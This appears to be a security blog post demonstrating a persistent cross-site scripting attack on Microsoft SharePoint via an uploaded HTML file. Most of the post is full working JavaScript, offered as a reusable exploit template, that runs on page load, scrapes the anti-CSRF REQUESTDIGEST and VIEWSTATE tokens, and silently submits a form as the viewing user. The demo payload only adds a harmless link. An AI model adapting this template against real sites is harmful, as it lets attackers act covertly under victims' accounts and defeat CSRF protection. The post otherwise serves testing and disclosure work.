thomascannon.net

Persistent Cross-Site Scripting Demo for Sharepoint

I had been meaning to write a demo for this for well over a year and just got around to it. There is nothing too special here but it is a nice little template for a XSS or CSRF exploit for future testing. The target was a Microsoft Sharepoint site which is used for collaboration amongst other things. The Sharepoint site allows a user to upload files which can then be viewed by other users.

There are a few potential avenues for attack here but the simplest method for persistent XSS was to just upload an HTML file! From there you can do all the usual XSS type of attacks but I wanted to be able to demonstrate silently doing something on the Sharepoint site itself under the account of the user viewing the uploaded file. This is complicated slightly because Microsoft have implemented Cross Site Request Forgery protection in the form of a unique token generated when you view a page, and submitting a form without the token will fail. They also check the referrer, but because the page we upload will be on the Sharepoint site itself that check will pass.

When the demo page is viewed it will silently add a link to the user’s favourite links in their profile. It does this by first downloading the link submission page, extracting the CSRF token (and ViewState token) and then submitting the new link along with these tokens.

This was written specifically for IE6, it won’t work on FireFox (but it can be changed to work) and I haven’t tested it on newer versions of IE but it may work. It will need to be customised to the target site as this is just a basic template.

Download complete file: sharepoint_xss.html | 2.4KB
<body onload=getit();>

<script type="text/javascript">

function getit(){
        var xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');

        // We want to get the contents of the page where a user would add a link to their profile:
        xmlhttp.open('GET','https://my.companyintranet.com/_layouts/QuickLinks.aspx?Mode=Link', true);
        xmlhttp.onreadystatechange = function(){
                if(xmlhttp.readyState==4){
                        var result=xmlhttp.responsetext;
                        
                        // Extract the 2 essential tokens needed to post a request on the user's behalf
                        regex1 = new RegExp ("REQUESTDIGEST\" value=\"(.*)\"", "g");
                        digestArray = regex1.exec(result);
                        regex2 = new RegExp ("VIEWSTATE\" value=\"(.*)\"", "g");
                        viewstateArray = regex2.exec(result);

                        var requestdigest = digestArray[1];
                        var viewstate = viewstateArray[1];

                        postit(requestdigest,viewstate); // Call the function which submits a new link
                }
        };
        xmlhttp.send(); // Executing the get request
}

function postit(requestdigest,viewstate){
        var xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');

        // Define the data to submit, as captured by Burp when doing a real form submission, 
        // replacing the 2 tokens with the dynamically generated ones we captured earlier.
        var data = "fclMail=&fclMsgr=&errMail=&errMsgr=&__LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__REQUESTDIGEST=" + requestdigest + "&__VIEWSTATE=" + viewstate + "&ctl00%24PlaceHolderMain%24txbTitle=ILoveLinux&ctl00%24PlaceHolderMain%24txbUrl=http%3A%2F%2Fubuntu.com&ctl00%24PlaceHolderMain%24lbxPrivacyLevel=1&ctl00%24PlaceHolderMain%24GroupInfo=rbExistingGroup&ctl00%24PlaceHolderMain%24lbxExistingGroup=General&ctl00%24PlaceHolderMain%24txbNewGroup=&ctl00%24PlaceHolderMain%24btnOK=OK&__spDummyText1=&__spDummyText2=";

        xmlhttp.open("POST","https://my.companyintranet.com/_layouts/QuickLinks.aspx?Mode=Link",false); // The page to post to
        xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        xmlhttp.send(data); // Submit the new link!
}

</script>
Nothing to see here!